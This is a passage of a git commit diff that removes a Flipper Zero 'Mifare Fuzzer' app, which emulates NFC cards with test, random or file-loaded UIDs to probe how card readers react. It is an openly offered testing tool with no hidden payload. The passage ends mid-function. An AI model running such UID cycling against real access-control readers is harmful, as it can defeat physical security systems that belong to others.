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10 more apps ported

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Willy-JL
2023-10-22 06:02:25 +01:00
parent 32679525e0
commit 25516358d1
133 changed files with 0 additions and 21609 deletions
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18
applications/external/mifare_fuzzer/application.fam vendored
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App(
appid="mifare_fuzzer",
name="Mifare Fuzzer",
apptype=FlipperAppType.EXTERNAL,
entry_point="mifare_fuzzer_app",
requires=[
"storage",
"gui",
],
stack_size=4 * 1024,
fap_icon="images/mifare_fuzzer_10px.png",
fap_category="NFC",
fap_icon_assets="images",
fap_author="@spheeere98",
fap_weburl="https://github.com/spheeere98/mifare_fuzzer",
fap_version="1.0",
fap_description="App emulates Mifare Classic cards with various UIDs to check how reader reacts on them",
)

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applications/external/mifare_fuzzer/images/mifare_fuzzer_10px.png vendored
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158
applications/external/mifare_fuzzer/mifare_fuzzer.c vendored
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#include "mifare_fuzzer_i.h"
/// @brief mifare_fuzzer_custom_event_callback()
/// @param context
/// @param event
/// @return
static bool mifare_fuzzer_custom_event_callback(void* context, uint32_t event) {
furi_assert(context);
MifareFuzzerApp* app = context;
return scene_manager_handle_custom_event(app->scene_manager, event);
}
/// @brief mifare_fuzzer_back_event_callback()
/// @param context
/// @return
static bool mifare_fuzzer_back_event_callback(void* context) {
furi_assert(context);
MifareFuzzerApp* app = context;
return scene_manager_handle_back_event(app->scene_manager);
}
/// @brief mifare_fuzzer_tick_event_callback()
/// @param context
static void mifare_fuzzer_tick_event_callback(void* context) {
furi_assert(context);
MifareFuzzerApp* app = context;
scene_manager_handle_tick_event(app->scene_manager);
}
/// @brief mifare_fuzzer_alloc()
/// @return
MifareFuzzerApp* mifare_fuzzer_alloc() {
MifareFuzzerApp* app = malloc(sizeof(MifareFuzzerApp));
app->view_dispatcher = view_dispatcher_alloc();
app->scene_manager = scene_manager_alloc(&mifare_fuzzer_scene_handlers, app);
view_dispatcher_enable_queue(app->view_dispatcher);
view_dispatcher_set_event_callback_context(app->view_dispatcher, app);
view_dispatcher_set_custom_event_callback(
app->view_dispatcher, mifare_fuzzer_custom_event_callback);
view_dispatcher_set_navigation_event_callback(
app->view_dispatcher, mifare_fuzzer_back_event_callback);
// 1000 ticks are about 1 sec
view_dispatcher_set_tick_event_callback(
app->view_dispatcher, mifare_fuzzer_tick_event_callback, MIFARE_FUZZER_TICK_PERIOD);
// Open GUI record
app->gui = furi_record_open(RECORD_GUI);
view_dispatcher_attach_to_gui(app->view_dispatcher, app->gui, ViewDispatcherTypeFullscreen);
// view: select card type
app->submenu_card = submenu_alloc();
view_dispatcher_add_view(
app->view_dispatcher, MifareFuzzerViewSelectCard, submenu_get_view(app->submenu_card));
// view: select attack type
app->submenu_attack = submenu_alloc();
view_dispatcher_add_view(
app->view_dispatcher, MifareFuzzerViewSelectAttack, submenu_get_view(app->submenu_attack));
// view: emulator
app->emulator_view = mifare_fuzzer_emulator_alloc();
view_dispatcher_add_view(
app->view_dispatcher,
MifareFuzzerViewEmulator,
mifare_fuzzer_emulator_get_view(app->emulator_view));
// worker
app->worker = mifare_fuzzer_worker_alloc();
// storage
app->storage = furi_record_open(RECORD_STORAGE);
if(!storage_simply_mkdir(app->storage, MIFARE_FUZZER_APP_FOLDER)) {
FURI_LOG_E(TAG, "Could not create folder: %s", MIFARE_FUZZER_APP_FOLDER);
}
// dialog
app->dialogs = furi_record_open(RECORD_DIALOGS);
// furi strings
app->uid_str = furi_string_alloc();
app->file_path = furi_string_alloc();
app->app_folder = furi_string_alloc_set(MIFARE_FUZZER_APP_FOLDER);
return app;
}
/// @brief mifare_fuzzer_free()
/// @param app
void mifare_fuzzer_free(MifareFuzzerApp* app) {
furi_assert(app);
// Views
//FURI_LOG_D(TAG, "mifare_fuzzer_free() :: Views");
view_dispatcher_remove_view(app->view_dispatcher, MifareFuzzerViewSelectCard);
view_dispatcher_remove_view(app->view_dispatcher, MifareFuzzerViewSelectAttack);
view_dispatcher_remove_view(app->view_dispatcher, MifareFuzzerViewEmulator);
// Submenus
//FURI_LOG_D(TAG, "mifare_fuzzer_free() :: Submenus");
submenu_free(app->submenu_card);
submenu_free(app->submenu_attack);
// View Dispatcher
//FURI_LOG_D(TAG, "mifare_fuzzer_free() :: View Dispatcher");
view_dispatcher_free(app->view_dispatcher);
// Scene Manager
//FURI_LOG_D(TAG, "mifare_fuzzer_free() :: Scene Manager");
scene_manager_free(app->scene_manager);
// GUI
//FURI_LOG_D(TAG, "mifare_fuzzer_free() :: GUI");
furi_record_close(RECORD_GUI);
app->gui = NULL;
// Worker
//FURI_LOG_D(TAG, "mifare_fuzzer_free() :: Worker");
mifare_fuzzer_worker_free(app->worker);
// storage
furi_record_close(RECORD_STORAGE);
app->storage = NULL;
// dialog
furi_record_close(RECORD_DIALOGS);
app->dialogs = NULL;
// furi strings
furi_string_free(app->uid_str);
furi_string_free(app->file_path);
furi_string_free(app->app_folder);
// App
//FURI_LOG_D(TAG, "mifare_fuzzer_free() :: App");
free(app);
}
/// @brief mifare_fuzzer_app (ENTRYPOINT)
/// @param p
/// @return
int32_t mifare_fuzzer_app(void* p) {
UNUSED(p);
//FURI_LOG_D(TAG, "mifare_fuzzer_app()");
MifareFuzzerApp* app = mifare_fuzzer_alloc();
// init some defaults
scene_manager_set_scene_state(app->scene_manager, MifareFuzzerSceneStart, 0);
scene_manager_set_scene_state(app->scene_manager, MifareFuzzerSceneAttack, 0);
// open scene
scene_manager_next_scene(app->scene_manager, MifareFuzzerSceneStart);
view_dispatcher_run(app->view_dispatcher);
// free
mifare_fuzzer_free(app);
return 0;
}

3
applications/external/mifare_fuzzer/mifare_fuzzer.h vendored
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#pragma once
typedef struct MifareFuzzerApp MifareFuzzerApp;

14
applications/external/mifare_fuzzer/mifare_fuzzer_custom_events.h vendored
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#pragma once
typedef enum MifareFuzzerEvent {
MifareFuzzerEventClassic1k = 1,
MifareFuzzerEventClassic4k,
MifareFuzzerEventUltralight,
MifareFuzzerEventTestValueAttack,
MifareFuzzerEventRandomValuesAttack,
MifareFuzzerEventLoadUIDsFromFileAttack,
MifareFuzzerEventStartAttack,
MifareFuzzerEventStopAttack,
MifareFuzzerEventIncrementTicks,
MifareFuzzerEventDecrementTicks,
} MifareFuzzerEvent;

76
applications/external/mifare_fuzzer/mifare_fuzzer_i.h vendored
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#pragma once
#include <furi.h>
#include <furi_hal.h>
#include <gui/gui.h>
#include <gui/view_dispatcher.h>
#include <gui/scene_manager.h>
#include <gui/modules/submenu.h>
#include <dialogs/dialogs.h>
#include <input/input.h>
#include <toolbox/stream/stream.h>
//#include <toolbox/stream/string_stream.h>
//#include <toolbox/stream/file_stream.h>
#include <toolbox/stream/buffered_file_stream.h>
#include "mifare_fuzzer.h"
#include "scenes/mifare_fuzzer_scene.h"
#include "views/mifare_fuzzer_emulator.h"
#include "mifare_fuzzer_worker.h"
#define TAG "MifareFuzzerApp"
#define MIFARE_FUZZER_APP_FOLDER EXT_PATH("mifare_fuzzer")
#define MIFARE_FUZZER_FILE_EXT ".txt"
#define MIFARE_FUZZER_TICK_PERIOD 200
#define MIFARE_FUZZER_DEFAULT_TICKS_BETWEEN_CARDS 10
#define MIFARE_FUZZER_MIN_TICKS_BETWEEN_CARDS 5
#define MIFARE_FUZZER_MAX_TICKS_BETWEEN_CARDS 50
typedef enum MifareFuzzerSceneState {
MifareFuzzerSceneStateClassic1k,
MifareFuzzerSceneStateClassic4k,
MifareFuzzerSceneStateUltralight,
} MifareFuzzerSceneState;
typedef enum {
MifareFuzzerViewSelectCard,
MifareFuzzerViewSelectAttack,
MifareFuzzerViewEmulator,
} MifareFuzzerView;
struct MifareFuzzerApp {
Gui* gui;
ViewDispatcher* view_dispatcher;
SceneManager* scene_manager;
DialogsApp* dialogs;
Storage* storage;
// Common Views
Submenu* submenu_card;
Submenu* submenu_attack;
MifareFuzzerEmulator* emulator_view;
MifareFuzzerWorker* worker;
MifareCard card;
MifareFuzzerAttack attack;
FuriHalNfcDevData nfc_dev_data;
FuriString* app_folder;
FuriString* file_path;
FuriString* uid_str;
Stream* uids_stream;
};

87
applications/external/mifare_fuzzer/mifare_fuzzer_worker.c vendored
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#include "mifare_fuzzer_worker.h"
/// @brief mifare_fuzzer_worker_alloc()
/// @return
MifareFuzzerWorker* mifare_fuzzer_worker_alloc() {
MifareFuzzerWorker* mifare_fuzzer_worker = malloc(sizeof(MifareFuzzerWorker));
// Worker thread attributes
mifare_fuzzer_worker->thread = furi_thread_alloc_ex(
"MifareFuzzerWorker", 8192, mifare_fuzzer_worker_task, mifare_fuzzer_worker);
mifare_fuzzer_worker->state = MifareFuzzerWorkerStateStop;
return mifare_fuzzer_worker;
}
/// @brief mifare_fuzzer_worker_free()
/// @param mifare_fuzzer_worker
void mifare_fuzzer_worker_free(MifareFuzzerWorker* mifare_fuzzer_worker) {
furi_assert(mifare_fuzzer_worker);
furi_thread_free(mifare_fuzzer_worker->thread);
free(mifare_fuzzer_worker);
}
/// @brief mifare_fuzzer_worker_stop()
/// @param mifare_fuzzer_worker
void mifare_fuzzer_worker_stop(MifareFuzzerWorker* mifare_fuzzer_worker) {
furi_assert(mifare_fuzzer_worker);
if(mifare_fuzzer_worker->state != MifareFuzzerWorkerStateStop) {
mifare_fuzzer_worker->state = MifareFuzzerWorkerStateStop;
furi_thread_join(mifare_fuzzer_worker->thread);
}
}
/// @brief mifare_fuzzer_worker_start()
/// @param mifare_fuzzer_worker
void mifare_fuzzer_worker_start(MifareFuzzerWorker* mifare_fuzzer_worker) {
furi_assert(mifare_fuzzer_worker);
mifare_fuzzer_worker->state = MifareFuzzerWorkerStateEmulate;
furi_thread_start(mifare_fuzzer_worker->thread);
}
/// @brief mifare_fuzzer_worker_task()
/// @param context
/// @return
int32_t mifare_fuzzer_worker_task(void* context) {
MifareFuzzerWorker* mifare_fuzzer_worker = context;
if(mifare_fuzzer_worker->state == MifareFuzzerWorkerStateEmulate) {
FuriHalNfcDevData params = mifare_fuzzer_worker->nfc_dev_data;
furi_hal_nfc_exit_sleep();
while(mifare_fuzzer_worker->state == MifareFuzzerWorkerStateEmulate) {
furi_hal_nfc_listen(params.uid, params.uid_len, params.atqa, params.sak, false, 500);
furi_delay_ms(50);
}
furi_hal_nfc_sleep();
}
mifare_fuzzer_worker->state = MifareFuzzerWorkerStateStop;
return 0;
}
/// @brief mifare_fuzzer_worker_is_emulating()
/// @param mifare_fuzzer_worker
/// @return
bool mifare_fuzzer_worker_is_emulating(MifareFuzzerWorker* mifare_fuzzer_worker) {
if(mifare_fuzzer_worker->state == MifareFuzzerWorkerStateEmulate) {
return true;
}
return false;
}
/// @brief mifare_fuzzer_worker_set_nfc_dev_data()
/// @param mifare_fuzzer_worker
/// @param nfc_dev_data
void mifare_fuzzer_worker_set_nfc_dev_data(
MifareFuzzerWorker* mifare_fuzzer_worker,
FuriHalNfcDevData nfc_dev_data) {
mifare_fuzzer_worker->nfc_dev_data = nfc_dev_data;
}
/// @brief mifare_fuzzer_worker_get_nfc_dev_data()
/// @param mifare_fuzzer_worker
/// @return
FuriHalNfcDevData mifare_fuzzer_worker_get_nfc_dev_data(MifareFuzzerWorker* mifare_fuzzer_worker) {
return mifare_fuzzer_worker->nfc_dev_data;
}

31
applications/external/mifare_fuzzer/mifare_fuzzer_worker.h vendored
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#pragma once
#include <furi.h>
#include <furi_hal.h>
typedef enum MifareFuzzerWorkerState {
MifareFuzzerWorkerStateEmulate,
MifareFuzzerWorkerStateStop,
} MifareFuzzerWorkerState;
#define UID_LEN 7
#define ATQA_LEN 2
typedef struct MifareFuzzerWorker {
FuriThread* thread;
MifareFuzzerWorkerState state;
FuriHalNfcDevData nfc_dev_data;
} MifareFuzzerWorker;
// worker
MifareFuzzerWorker* mifare_fuzzer_worker_alloc();
void mifare_fuzzer_worker_free(MifareFuzzerWorker* mifare_fuzzer_worker);
void mifare_fuzzer_worker_stop(MifareFuzzerWorker* mifare_fuzzer_worker);
void mifare_fuzzer_worker_start(MifareFuzzerWorker* mifare_fuzzer_worker);
// task
int32_t mifare_fuzzer_worker_task(void* context);
//
bool mifare_fuzzer_worker_is_emulating(MifareFuzzerWorker* mifare_fuzzer_worker);
void mifare_fuzzer_worker_set_nfc_dev_data(
MifareFuzzerWorker* mifare_fuzzer_worker,
FuriHalNfcDevData nfc_dev_data);
FuriHalNfcDevData mifare_fuzzer_worker_get_nfc_dev_data(MifareFuzzerWorker* mifare_fuzzer_worker);

30
applications/external/mifare_fuzzer/scenes/mifare_fuzzer_scene.c vendored
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#include "mifare_fuzzer_scene.h"
// Generate scene on_enter handlers array
#define ADD_SCENE(prefix, name, id) prefix##_scene_##name##_on_enter,
void (*const mifare_fuzzer_on_enter_handlers[])(void*) = {
#include "mifare_fuzzer_scene_config.h"
};
#undef ADD_SCENE
// Generate scene on_event handlers array
#define ADD_SCENE(prefix, name, id) prefix##_scene_##name##_on_event,
bool (*const mifare_fuzzer_on_event_handlers[])(void* context, SceneManagerEvent event) = {
#include "mifare_fuzzer_scene_config.h"
};
#undef ADD_SCENE
// Generate scene on_exit handlers array
#define ADD_SCENE(prefix, name, id) prefix##_scene_##name##_on_exit,
void (*const mifare_fuzzer_on_exit_handlers[])(void* context) = {
#include "mifare_fuzzer_scene_config.h"
};
#undef ADD_SCENE
// Initialize scene handlers configuration structure
const SceneManagerHandlers mifare_fuzzer_scene_handlers = {
.on_enter_handlers = mifare_fuzzer_on_enter_handlers,
.on_event_handlers = mifare_fuzzer_on_event_handlers,
.on_exit_handlers = mifare_fuzzer_on_exit_handlers,
.scene_num = MifareFuzzerSceneNum,
};

29
applications/external/mifare_fuzzer/scenes/mifare_fuzzer_scene.h vendored
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#pragma once
#include <gui/scene_manager.h>
// Generate scene id and total number
#define ADD_SCENE(prefix, name, id) MifareFuzzerScene##id,
typedef enum {
#include "mifare_fuzzer_scene_config.h"
MifareFuzzerSceneNum,
} MifareFuzzerScene;
#undef ADD_SCENE
extern const SceneManagerHandlers mifare_fuzzer_scene_handlers;
// Generate scene on_enter handlers declaration
#define ADD_SCENE(prefix, name, id) void prefix##_scene_##name##_on_enter(void*);
#include "mifare_fuzzer_scene_config.h"
#undef ADD_SCENE
// Generate scene on_event handlers declaration
#define ADD_SCENE(prefix, name, id) \
bool prefix##_scene_##name##_on_event(void* context, SceneManagerEvent event);
#include "mifare_fuzzer_scene_config.h"
#undef ADD_SCENE
// Generate scene on_exit handlers declaration
#define ADD_SCENE(prefix, name, id) void prefix##_scene_##name##_on_exit(void* context);
#include "mifare_fuzzer_scene_config.h"
#undef ADD_SCENE

143
applications/external/mifare_fuzzer/scenes/mifare_fuzzer_scene_attack.c vendored
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#include "../mifare_fuzzer_i.h"
#include "../mifare_fuzzer_custom_events.h"
enum SubmenuIndex {
SubmenuIndexTestValue,
SubmenuIndexRandomValuesAttack,
SubmenuIndexLoadUIDsFromFile,
};
/// @brief mifare_fuzzer_scene_attack_submenu_callback()
/// @param context
/// @param index
void mifare_fuzzer_scene_attack_submenu_callback(void* context, uint32_t index) {
//FURI_LOG_D(TAG, "mifare_fuzzer_scene_attack_submenu_callback() :: index = %ld", index);
MifareFuzzerApp* app = context;
uint8_t custom_event = 255;
switch(index) {
case SubmenuIndexTestValue:
custom_event = MifareFuzzerEventTestValueAttack;
break;
case SubmenuIndexRandomValuesAttack:
custom_event = MifareFuzzerEventRandomValuesAttack;
break;
case SubmenuIndexLoadUIDsFromFile:
custom_event = MifareFuzzerEventLoadUIDsFromFileAttack;
break;
default:
return;
}
//FURI_LOG_D(TAG, "mifare_fuzzer_scene_attack_submenu_callback() :: custom_event = %d", custom_event);
view_dispatcher_send_custom_event(app->view_dispatcher, custom_event);
}
/// @brief mifare_fuzzer_scene_attack_on_enter()
/// @param context
void mifare_fuzzer_scene_attack_on_enter(void* context) {
//FURI_LOG_D(TAG, "mifare_fuzzer_scene_attack_on_enter()");
MifareFuzzerApp* app = context;
Submenu* submenu_attack = app->submenu_attack;
submenu_set_header(submenu_attack, "Mifare Fuzzer (attack)");
submenu_add_item(
submenu_attack,
"Test Values",
SubmenuIndexTestValue,
mifare_fuzzer_scene_attack_submenu_callback,
app);
submenu_add_item(
submenu_attack,
"Random Values",
SubmenuIndexRandomValuesAttack,
mifare_fuzzer_scene_attack_submenu_callback,
app);
submenu_add_item(
submenu_attack,
"Load UIDs from file",
SubmenuIndexLoadUIDsFromFile,
mifare_fuzzer_scene_attack_submenu_callback,
app);
// set selected menu
submenu_set_selected_item(
submenu_attack,
scene_manager_get_scene_state(app->scene_manager, MifareFuzzerSceneAttack));
view_dispatcher_switch_to_view(app->view_dispatcher, MifareFuzzerViewSelectAttack);
}
/// @brief mifare_fuzzer_scene_attack_on_event()
/// @param context
/// @param event
/// @return
bool mifare_fuzzer_scene_attack_on_event(void* context, SceneManagerEvent event) {
//FURI_LOG_D(TAG, "mifare_fuzzer_scene_attack_on_event()");
MifareFuzzerApp* app = context;
bool consumed = false;
if(event.type == SceneManagerEventTypeCustom) {
//FURI_LOG_D(TAG, "mifare_fuzzer_scene_attack_on_event() :: event.event = %ld", event.event);
if(event.event == MifareFuzzerEventTestValueAttack) {
// save selected item
scene_manager_set_scene_state(
app->scene_manager, MifareFuzzerSceneAttack, SubmenuIndexTestValue);
// set emulator attack
app->attack = MifareFuzzerAttackTestValues;
mifare_fuzzer_emulator_set_attack(app->emulator_view, app->attack);
// open next scene
scene_manager_next_scene(app->scene_manager, MifareFuzzerSceneEmulator);
consumed = true;
} else if(event.event == MifareFuzzerEventRandomValuesAttack) {
// save selected item
scene_manager_set_scene_state(
app->scene_manager, MifareFuzzerSceneAttack, SubmenuIndexRandomValuesAttack);
// set emulator attack
app->attack = MifareFuzzerAttackRandomValues;
mifare_fuzzer_emulator_set_attack(app->emulator_view, app->attack);
// open next scene
scene_manager_next_scene(app->scene_manager, MifareFuzzerSceneEmulator);
consumed = true;
} else if(event.event == MifareFuzzerEventLoadUIDsFromFileAttack) {
// save selected item
scene_manager_set_scene_state(
app->scene_manager, MifareFuzzerSceneAttack, SubmenuIndexLoadUIDsFromFile);
// set emulator attack
app->attack = MifareFuzzerAttackLoadUidsFromFile;
mifare_fuzzer_emulator_set_attack(app->emulator_view, app->attack);
// open dialog file
DialogsFileBrowserOptions browser_options;
dialog_file_browser_set_basic_options(&browser_options, MIFARE_FUZZER_FILE_EXT, NULL);
browser_options.hide_ext = false;
bool res = dialog_file_browser_show(
app->dialogs, app->file_path, app->app_folder, &browser_options);
if(res) {
app->uids_stream = buffered_file_stream_alloc(app->storage);
res = buffered_file_stream_open(
app->uids_stream,
furi_string_get_cstr(app->file_path),
FSAM_READ,
FSOM_OPEN_EXISTING);
if(res) {
// open next scene
scene_manager_next_scene(app->scene_manager, MifareFuzzerSceneEmulator);
} else {
buffered_file_stream_close(app->uids_stream);
}
}
consumed = true;
}
} else if(event.type == SceneManagerEventTypeTick) {
//FURI_LOG_D(TAG, "mifare_fuzzer_scene_attack_on_event() :: SceneManagerEventTypeTick");
//consumed = true;
}
return consumed;
}
/// @brief mifare_fuzzer_scene_attack_on_exit()
/// @param context
void mifare_fuzzer_scene_attack_on_exit(void* context) {
//FURI_LOG_D(TAG, "mifare_fuzzer_scene_attack_on_exit()");
MifareFuzzerApp* app = context;
submenu_reset(app->submenu_attack);
}

3
applications/external/mifare_fuzzer/scenes/mifare_fuzzer_scene_config.h vendored
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ADD_SCENE(mifare_fuzzer, start, Start)
ADD_SCENE(mifare_fuzzer, attack, Attack)
ADD_SCENE(mifare_fuzzer, emulator, Emulator)

242
applications/external/mifare_fuzzer/scenes/mifare_fuzzer_scene_emulator.c vendored
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#include "../mifare_fuzzer_i.h"
uint8_t tick_counter = 0;
uint8_t attack_step = 0;
uint8_t id_uid_test[9][7] = {
{0x11, 0x12, 0x13, 0x14, 0x15, 0x16, 0x17},
{0x22, 0x23, 0x24, 0x25, 0x26, 0x27, 0x28},
{0x33, 0x34, 0x35, 0x36, 0x37, 0x38, 0x39},
{0x44, 0x45, 0x46, 0x47, 0x48, 0x49, 0x4a},
{0x55, 0x56, 0x57, 0x58, 0x59, 0x5a, 0x5b},
{0x66, 0x67, 0x68, 0x69, 0x6a, 0x6b, 0x6c},
{0x77, 0x78, 0x79, 0x7a, 0x7b, 0x7c, 0x7d},
{0x88, 0x89, 0x8a, 0x8b, 0x8c, 0x8d, 0x8e},
{0x99, 0x9a, 0x9b, 0x9c, 0x9d, 0x9e, 0x9f},
};
/// @brief mifare_fuzzer_scene_emulator_callback()
/// @param event
/// @param context
static void mifare_fuzzer_scene_emulator_callback(MifareFuzzerEvent event, void* context) {
//FURI_LOG_D(TAG, "mifare_fuzzer_scene_emulator_callback()");
furi_assert(context);
MifareFuzzerApp* app = context;
view_dispatcher_send_custom_event(app->view_dispatcher, event);
}
/// @brief mifare_fuzzer_scene_emulator_on_enter()
/// @param context
void mifare_fuzzer_scene_emulator_on_enter(void* context) {
//FURI_LOG_D(TAG, "mifare_fuzzer_scene_emulator_on_enter()");
MifareFuzzerApp* app = context;
MifareFuzzerEmulator* emulator = app->emulator_view;
// init callback
mifare_fuzzer_emulator_set_callback(emulator, mifare_fuzzer_scene_emulator_callback, app);
// init ticks
tick_counter = 0;
mifare_fuzzer_emulator_set_tick_num(app->emulator_view, tick_counter);
emulator->ticks_between_cards = MIFARE_FUZZER_DEFAULT_TICKS_BETWEEN_CARDS;
mifare_fuzzer_emulator_set_ticks_between_cards(
app->emulator_view, emulator->ticks_between_cards);
// init default card data
FuriHalNfcDevData nfc_dev_data;
nfc_dev_data.atqa[0] = 0x00;
nfc_dev_data.atqa[1] = 0x00;
nfc_dev_data.sak = 0x00;
if(app->card == MifareCardUltralight) {
nfc_dev_data.uid_len = 0x07;
} else {
nfc_dev_data.uid_len = 0x04;
}
for(uint32_t i = 0; i < nfc_dev_data.uid_len; i++) {
nfc_dev_data.uid[i] = 0x00;
}
mifare_fuzzer_emulator_set_nfc_dev_data(app->emulator_view, nfc_dev_data);
// init other vars
attack_step = 0;
// switch to view
view_dispatcher_switch_to_view(app->view_dispatcher, MifareFuzzerViewEmulator);
}
/// @brief mifare_fuzzer_scene_emulator_on_event()
/// @param context
/// @param event
/// @return
bool mifare_fuzzer_scene_emulator_on_event(void* context, SceneManagerEvent event) {
//FURI_LOG_D(TAG, "mifare_fuzzer_scene_emulator_on_event()");
FuriHalNfcDevData nfc_dev_data;
MifareFuzzerApp* app = context;
MifareFuzzerEmulator* emulator = app->emulator_view;
bool consumed = false;
if(event.type == SceneManagerEventTypeCustom) {
if(event.event == MifareFuzzerEventStartAttack) {
//FURI_LOG_D(TAG, "mifare_fuzzer_scene_emulator_on_event() :: MifareFuzzerEventStartAttack");
// Stop worker
mifare_fuzzer_worker_stop(app->worker);
// Set card type
// TODO: Move somewhere else, I do not like this to be there
if(app->card == MifareCardClassic1k) {
nfc_dev_data.atqa[0] = 0x04;
nfc_dev_data.atqa[1] = 0x00;
nfc_dev_data.sak = 0x08;
nfc_dev_data.uid_len = 0x04;
} else if(app->card == MifareCardClassic4k) {
nfc_dev_data.atqa[0] = 0x02;
nfc_dev_data.atqa[1] = 0x00;
nfc_dev_data.sak = 0x18;
nfc_dev_data.uid_len = 0x04;
} else if(app->card == MifareCardUltralight) {
nfc_dev_data.atqa[0] = 0x44;
nfc_dev_data.atqa[1] = 0x00;
nfc_dev_data.sak = 0x00;
nfc_dev_data.uid_len = 0x07;
}
// Set UIDs
if(app->attack == MifareFuzzerAttackTestValues) {
// Load test UIDs
for(uint8_t i = 0; i < nfc_dev_data.uid_len; i++) {
nfc_dev_data.uid[i] = id_uid_test[attack_step][i];
}
// Next UIDs on next loop
if(attack_step >= 8) {
attack_step = 0;
} else {
attack_step++;
}
} else if(app->attack == MifareFuzzerAttackRandomValues) {
if(app->card == MifareCardUltralight) {
// First byte of a 7 byte UID is the manufacturer-code
// https://github.com/Proxmark/proxmark3/blob/master/client/taginfo.c
// https://stackoverflow.com/questions/37837730/mifare-cards-distinguish-between-4-byte-and-7-byte-uids
// https://stackoverflow.com/questions/31233652/how-to-detect-manufacturer-from-nfc-tag-using-android
// TODO: Manufacture-code must be selectable from a list
// use a fixed manufacture-code for now: 0x04 = NXP Semiconductors Germany
nfc_dev_data.uid[0] = 0x04;
for(uint8_t i = 1; i < nfc_dev_data.uid_len; i++) {
nfc_dev_data.uid[i] = (furi_hal_random_get() & 0xFF);
}
} else {
for(uint8_t i = 0; i < nfc_dev_data.uid_len; i++) {
nfc_dev_data.uid[i] = (furi_hal_random_get() & 0xFF);
}
}
} else if(app->attack == MifareFuzzerAttackLoadUidsFromFile) {
//bool end_of_list = false;
// read stream
while(true) {
furi_string_reset(app->uid_str);
if(!stream_read_line(app->uids_stream, app->uid_str)) {
// restart from beginning on empty line
stream_rewind(app->uids_stream);
continue;
//end_of_list = true;
}
// Skip comments
if(furi_string_get_char(app->uid_str, 0) == '#') continue;
// Skip lines with invalid length
if((furi_string_size(app->uid_str) != 9) &&
(furi_string_size(app->uid_str) != 15))
continue;
break;
}
// TODO: stop on end of list?
//if(end_of_list) break;
// parse string to UID
// TODO: a better validation on input?
for(uint8_t i = 0; i < nfc_dev_data.uid_len; i++) {
if(i <= ((furi_string_size(app->uid_str) - 1) / 2)) {
char temp_str[3];
temp_str[0] = furi_string_get_cstr(app->uid_str)[i * 2];
temp_str[1] = furi_string_get_cstr(app->uid_str)[i * 2 + 1];
temp_str[2] = '\0';
nfc_dev_data.uid[i] = (uint8_t)strtol(temp_str, NULL, 16);
} else {
nfc_dev_data.uid[i] = 0x00;
}
}
}
mifare_fuzzer_worker_set_nfc_dev_data(app->worker, nfc_dev_data);
mifare_fuzzer_emulator_set_nfc_dev_data(app->emulator_view, nfc_dev_data);
// Reset tick_counter
tick_counter = 0;
mifare_fuzzer_emulator_set_tick_num(app->emulator_view, tick_counter);
// Start worker
mifare_fuzzer_worker_start(app->worker);
} else if(event.event == MifareFuzzerEventStopAttack) {
//FURI_LOG_D(TAG, "mifare_fuzzer_scene_emulator_on_event() :: MifareFuzzerEventStopAttack");
// Stop worker
mifare_fuzzer_worker_stop(app->worker);
} else if(event.event == MifareFuzzerEventIncrementTicks) {
if(!emulator->is_attacking) {
if(emulator->ticks_between_cards < MIFARE_FUZZER_MAX_TICKS_BETWEEN_CARDS) {
emulator->ticks_between_cards++;
mifare_fuzzer_emulator_set_ticks_between_cards(
app->emulator_view, emulator->ticks_between_cards);
};
};
} else if(event.event == MifareFuzzerEventDecrementTicks) {
if(!emulator->is_attacking) {
if(emulator->ticks_between_cards > MIFARE_FUZZER_MIN_TICKS_BETWEEN_CARDS) {
emulator->ticks_between_cards--;
mifare_fuzzer_emulator_set_ticks_between_cards(
app->emulator_view, emulator->ticks_between_cards);
};
};
}
consumed = true;
} else if(event.type == SceneManagerEventTypeTick) {
//FURI_LOG_D(TAG, "mifare_fuzzer_scene_emulator_on_event() :: SceneManagerEventTypeTick");
// Used to check tick length (not perfect but enough)
//FuriHalRtcDateTime curr_dt;
//furi_hal_rtc_get_datetime(&curr_dt);
//FURI_LOG_D(TAG, "Time is: %.2d:%.2d:%.2d", curr_dt.hour, curr_dt.minute, curr_dt.second);
// If emulator is attacking
if(emulator->is_attacking) {
// increment tick_counter
tick_counter++;
mifare_fuzzer_emulator_set_tick_num(app->emulator_view, tick_counter);
//FURI_LOG_D(TAG, "tick_counter is: %.2d", tick_counter);
if(tick_counter >= emulator->ticks_between_cards) {
// Queue event for changing UID
view_dispatcher_send_custom_event(
app->view_dispatcher, MifareFuzzerEventStartAttack);
}
}
consumed = true;
}
return consumed;
}
/// @brief mifare_fuzzer_scene_emulator_on_exit()
/// @param context
void mifare_fuzzer_scene_emulator_on_exit(void* context) {
//FURI_LOG_D(TAG, "mifare_fuzzer_scene_emulator_on_exit()");
MifareFuzzerApp* app = context;
mifare_fuzzer_worker_stop(app->worker);
if(app->attack == MifareFuzzerAttackLoadUidsFromFile) {
furi_string_reset(app->uid_str);
stream_rewind(app->uids_stream);
buffered_file_stream_close(app->uids_stream);
}
}

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applications/external/mifare_fuzzer/scenes/mifare_fuzzer_scene_start.c vendored
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#include "../mifare_fuzzer_i.h"
#include "../mifare_fuzzer_custom_events.h"
enum SubmenuIndex {
SubmenuIndexClassic1k,
SubmenuIndexClassic4k,
SubmenuIndexUltralight,
};
/// @brief mifare_fuzzer_scene_start_submenu_callback()
/// @param context
/// @param index
void mifare_fuzzer_scene_start_submenu_callback(void* context, uint32_t index) {
//FURI_LOG_D(TAG, "mifare_fuzzer_scene_start_submenu_callback() :: index = %ld", index);
MifareFuzzerApp* app = context;
uint8_t custom_event = 255;
switch(index) {
case SubmenuIndexClassic1k:
custom_event = MifareFuzzerEventClassic1k;
break;
case SubmenuIndexClassic4k:
custom_event = MifareFuzzerEventClassic4k;
break;
case SubmenuIndexUltralight:
custom_event = MifareFuzzerEventUltralight;
break;
default:
return;
}
//FURI_LOG_D(TAG, "mifare_fuzzer_scene_start_submenu_callback() :: custom_event = %d", custom_event);
view_dispatcher_send_custom_event(app->view_dispatcher, custom_event);
}
/// @brief mifare_fuzzer_scene_start_on_enter()
/// @param context
void mifare_fuzzer_scene_start_on_enter(void* context) {
//FURI_LOG_D(TAG, "mifare_fuzzer_scene_start_on_enter()");
MifareFuzzerApp* app = context;
Submenu* submenu_card = app->submenu_card;
submenu_set_header(submenu_card, "Mifare Fuzzer (card)");
submenu_add_item(
submenu_card,
"Classic 1k",
SubmenuIndexClassic1k,
mifare_fuzzer_scene_start_submenu_callback,
app);
submenu_add_item(
submenu_card,
"Classic 4k",
SubmenuIndexClassic4k,
mifare_fuzzer_scene_start_submenu_callback,
app);
submenu_add_item(
submenu_card,
"Ultralight",
SubmenuIndexUltralight,
mifare_fuzzer_scene_start_submenu_callback,
app);
// set selected menu
submenu_set_selected_item(
